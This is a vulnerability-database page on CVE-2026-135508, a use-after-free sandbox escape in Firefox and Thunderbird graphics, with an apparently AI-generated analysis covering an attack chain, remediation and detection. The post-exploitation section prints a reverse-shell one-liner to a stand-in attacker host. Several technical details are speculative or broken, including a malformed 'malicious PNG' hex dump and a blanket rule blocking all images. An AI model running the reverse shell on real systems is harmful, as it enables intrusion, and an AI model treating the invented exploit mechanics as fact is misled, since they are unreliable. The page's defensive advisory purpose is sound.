CVE Professor
/
All CVEs
CVE-2026-135508

CVE-2026-135508 — Firefox 161 — CWE-416

CRITICAL CVSS 9.6 NVD

Sandbox escape due to use-after-free in the Graphics component. This vulnerability was fixed in Firefox 161, Firefox ESR 115.46, Firefox ESR 153.8, Thunderbird 161, and Thunderbird 153.8.

Sandbox escape due to use-after-free in the Graphics component. This vulnerability was fixed in Firefox 161, Firefox ESR 115.46, Firefox ESR 153.8, Thunderbird 161, and Thunderbird 153.8.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑135508 is a CWE‑416: Use‑After‑Free flaw that exists in the Graphics component of Mozilla’s Firefox and Thunderbird browsers.
The bug is triggered when the graphics engine frees a memory buffer that is still being referenced by the rendering pipeline. Because the reference count is not correctly decremented, the freed memory can be accessed again, allowing an attacker to read or write arbitrary memory.

When the attacker can control the data that is read/written, the flaw can be leveraged to escape the browser sandbox and execute code with the privileges of the browser process (typically the user’s account).

The CVSS vector (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H) tells us:

ElementMeaning
AV:NAttack vector: Network – the attacker can trigger the flaw remotely (e.g., via a malicious file).
AC:LAttack complexity: Low – no special conditions are required.
PR:NPrivileges required: None – the flaw can be exploited by an unauthenticated user.
UI:RUser interaction: Required – the victim must open the malicious file or visit a malicious page.
S:CScope: Changed – the vulnerability allows escalation from the sandboxed browser process to the host system.
C:H / I:H / A:HConfidentiality, Integrity, Availability: All high – full system compromise is possible.

The flaw is fixed in:

ProductFixed Version
Firefox161
Firefox ESR115.46, 153.8
Thunderbird161, 153.8

Older releases remain vulnerable.


⚡ Attack Chain

Below is a realistic, step‑by‑step chain that an attacker could use to exploit this flaw. All steps are based on the information in the CVE description and standard exploitation techniques for use‑after‑free bugs in the graphics stack.

1. Discovery & Reconnaissance

StepTechniqueWhat the attacker learns
1.1Passive fingerprinting – e.g., a phishing email with a link that opens a local file, or a web page that loads a local image.Browser type and version (via navigator.userAgent or by inspecting the User-Agent header).
1.2Active probing – send a crafted image (PNG, JPEG, or PDF) to a target that hosts a web server and observe the response.If the server returns a crash report or a “Graphics component crashed” message, the target is running a vulnerable version.
1.3Version enumeration – use a tool like whatweb or wappalyzer to confirm the exact Firefox/Thunderbird version.Determines whether the target is on a vulnerable release (e.g., Firefox 160 or Thunderbird 160).
Note: The vulnerability is local to the user’s machine; the attacker does not need to compromise the web server. The attack vector is the delivery of a malicious file that the victim opens.

2. Exploitation

The exploit requires a malicious file that triggers the use‑after‑free in the graphics engine. The most common vectors are:

  • PNG – a custom chunk that manipulates the internal image buffer.
  • JPEG – a malformed marker that causes the decoder to free a buffer prematurely.
  • PDF – an embedded image or graphic that triggers the bug.
  • Below is an illustrative example of a minimal PNG that contains a custom chunk (BAD1) designed to trigger the bug. The exact payload that triggers the use‑after‑free is not publicly disclosed; the snippet below is only meant to show the structure of a malicious PNG.

    # Minimal PNG header + IHDR + custom BAD1 chunk + IEND
    89 50 4E 47 0D 0A 1A 0A   # PNG signature
    00 00 00 0D 49 48 44 52   # IHDR chunk (13 bytes)
    00 00 00 01 00 00 00 01   # Width=1, Height=1
    08 02 00 00 00           # Bit depth=8, Color=RGB, Compression=Deflate, Filter=No, Interlace=No
    49 44 41 54 78 9C 63 00   # IDAT chunk (compressed data)
    00 00 00 00 00 00 00 00   # IEND chunk
    Important: The real exploit payload would contain a crafted BAD1 chunk that manipulates the graphics component’s internal state. The above is only a placeholder to illustrate the file format.

    Delivery
    The attacker can deliver the file via:

    1. Phishing email – attachment or link to a hosted malicious PNG.
    2. Malicious website – a link that forces the browser to download the PNG.
    3. USB drive – a user opens the file locally.

    Triggering the bug
    When the victim opens the file in Firefox or Thunderbird, the graphics engine parses the PNG, encounters the malformed chunk, frees the associated buffer, and then attempts to use it again. The use‑after‑free allows the attacker to overwrite a function pointer or a virtual table entry, leading to arbitrary code execution outside the browser sandbox.

    PoC (illustrative) – downloading the malicious PNG via curl:

    curl -o malicious.png https://example.com/malicious.png
    Caveat: The above curl command is only an example of how the file might be retrieved. The actual malicious file would be hosted on a site controlled by the attacker.

    3. Post‑Exploitation

    Once the attacker has escaped the sandbox, the following actions are possible:

    GoalTypical Actions
    Privilege EscalationThe browser process runs as the logged‑in user; the attacker can now run any command with those privileges.
    PersistenceInstall a back‑door, add a new user, or modify startup scripts.
    Data ExfiltrationRead sensitive files, capture credentials, or exfiltrate data over the network.
    Lateral MovementUse the compromised machine as a foothold to attack other hosts on the network.

    A minimal post‑exploitation payload might spawn a reverse shell:

    # Example reverse shell (Linux)
    bash -i >& /dev/tcp/attacker.example.com/4444 0>&1

    The attacker can then use the shell to run any command, including installing ransomware or exfiltrating data.


    🌍 Real World Impact

    ImpactExplanation
    Confidentiality (C:H)The attacker can read any file accessible to the user, including passwords, documents, and system secrets.
    Integrity (I:H)The attacker can modify or delete files, install malware, or tamper with system configuration.
    Availability (A:H)The attacker can crash the browser, install destructive software, or render the system unusable.

    Because the flaw allows a full sandbox escape, any system that runs an unpatched version of Firefox or Thunderbird is at risk. In corporate environments, this could lead to:

  • Compromise of sensitive corporate data.
  • Loss of regulatory compliance (e.g., GDPR, HIPAA).
  • Potential spread to other machines via network shares or remote desktop.

  • 🛡️ Remediation & Mitigation

    1. Exact Affected Versions & Upgrade Recommendation

    ProductVulnerable VersionsFixed Versions
    Firefox< 161161 and later
    Firefox ESR< 115.46, < 153.8115.46 and 153.8 and later
    Thunderbird< 161161 and later
    Thunderbird ESR< 153.8153.8 and later

    Upgrade: Install the latest release or ESR build. For example, on a Debian‑based system:

    sudo apt update
    sudo apt install firefox thunderbird

    On Windows, download the latest installer from Mozilla’s website.

    2. Workarounds

    MitigationHow it helps
    Disable hardware acceleration (about:config → layers.acceleration.disabled = true)Reduces the attack surface of the graphics stack, but does not fully eliminate the use‑after‑free.
    Run browsers in a sandboxed container (e.g., Docker, Flatpak)Limits the impact of a sandbox escape to the container.
    Block opening of potentially dangerous file types (e.g., via group policy or email filtering)Prevents the user from opening malicious PNG/JPEG/PDF files.
    Use a separate “guest” user account for browsingLimits the damage if the guest account has fewer privileges.
    Note: None of the above mitigations fully eliminate the vulnerability; upgrading is the only definitive fix.

    3. Detection

    IndicatorWhere to look
    Crash reportsabout:crashes in Firefox, crashpad logs, or Windows Event Viewer (Application logs).
    Memory corruption logsnsError or nsDebug logs in the browser’s crash reports.
    Unexpected process creationA new process spawned by the browser (e.g., firefox.exe spawning cmd.exe).
    Network traffic from the browser to an external hostUnusual outbound connections after a user opens a file.

    Sample log snippet (Linux crash report):

    [2026-11-24 12:34:56] Crash: Graphics component crashed (use-after-free)
    [2026-11-24 12:34:56] Process: firefox (PID 1234)
    [2026-11-24 12:34:56] Stack trace: ...

    4. WAF / ModSecurity Rules

    Since the vulnerability is triggered by a local file, WAF rules are not applicable. However, if the malicious file is served via a web server, you can block the file type:

    <FilesMatch "\.(png|jpg|jpeg|pdf)$">
        Order allow,deny
        Deny from all
    </FilesMatch>

    ⚠️ Urgency

  • CVSS Score: 9.6/10 (Critical) – indicates a severe risk.
  • Exploit Complexity: Low – no special conditions or credentials required.
  • User Interaction Required: Yes – the victim must open the malicious file.
  • CISA KEV Status: No – no official advisory yet, but the flaw is already known and exploitable.
Patching Priority: Immediate. All affected systems should be upgraded to the patched versions as soon as possible. If an upgrade is not feasible, implement the workarounds above and monitor for indicators of compromise.
Bottom line: CVE‑2026‑135508 is a high‑impact, use‑after‑free bug that allows a malicious file to escape the Firefox/Thunderbird sandbox and execute arbitrary code. The only reliable protection is to upgrade to the fixed releases; otherwise, mitigate by disabling graphics acceleration, sandboxing the browsers, or preventing users from opening untrusted image/PDF files.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
9.6 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-416
Related CVEs
7.6
CVE-2026-144292
### Summary With `SAFE_FOR_TEMPLATES: true`, DOMPurify 3.4.18 returns a string that contains no `{{` or `}}`,
6.5
CVE-2026-145059
FreeRDP from 3.25.0 before 3.33.1 contains a use-after-free in the RDPEWA client because notifyWait does not j
6.3
CVE-2026-144771
A flaw has been found in SGLang up to 0.5.23. The affected element is the function try_match_prefix of the fil
5.8
CVE-2026-144210
In Eclipse Safe Open Vehicle Core (S-CORE) Kyron versions 0.0.3 through 0.2.0, `SpmcStealQueue::fetch_from` in
7.0
CVE-2026-86092
The user-mode verifier for the I2S configure system call, z_vrfy_i2s_configure() in drivers/i2s/i2s_handlers.c
4.1
CVE-2026-119604
IBM PowerVM VIOS 4.1 could allow a local attacker to cause a denial of service due to a use-after-free race c
9.5
CVE-2026-138715
A use-after-free vulnerability in WatchGuard Endpoint Security's POP3 traffic parser allows a remote, unauthen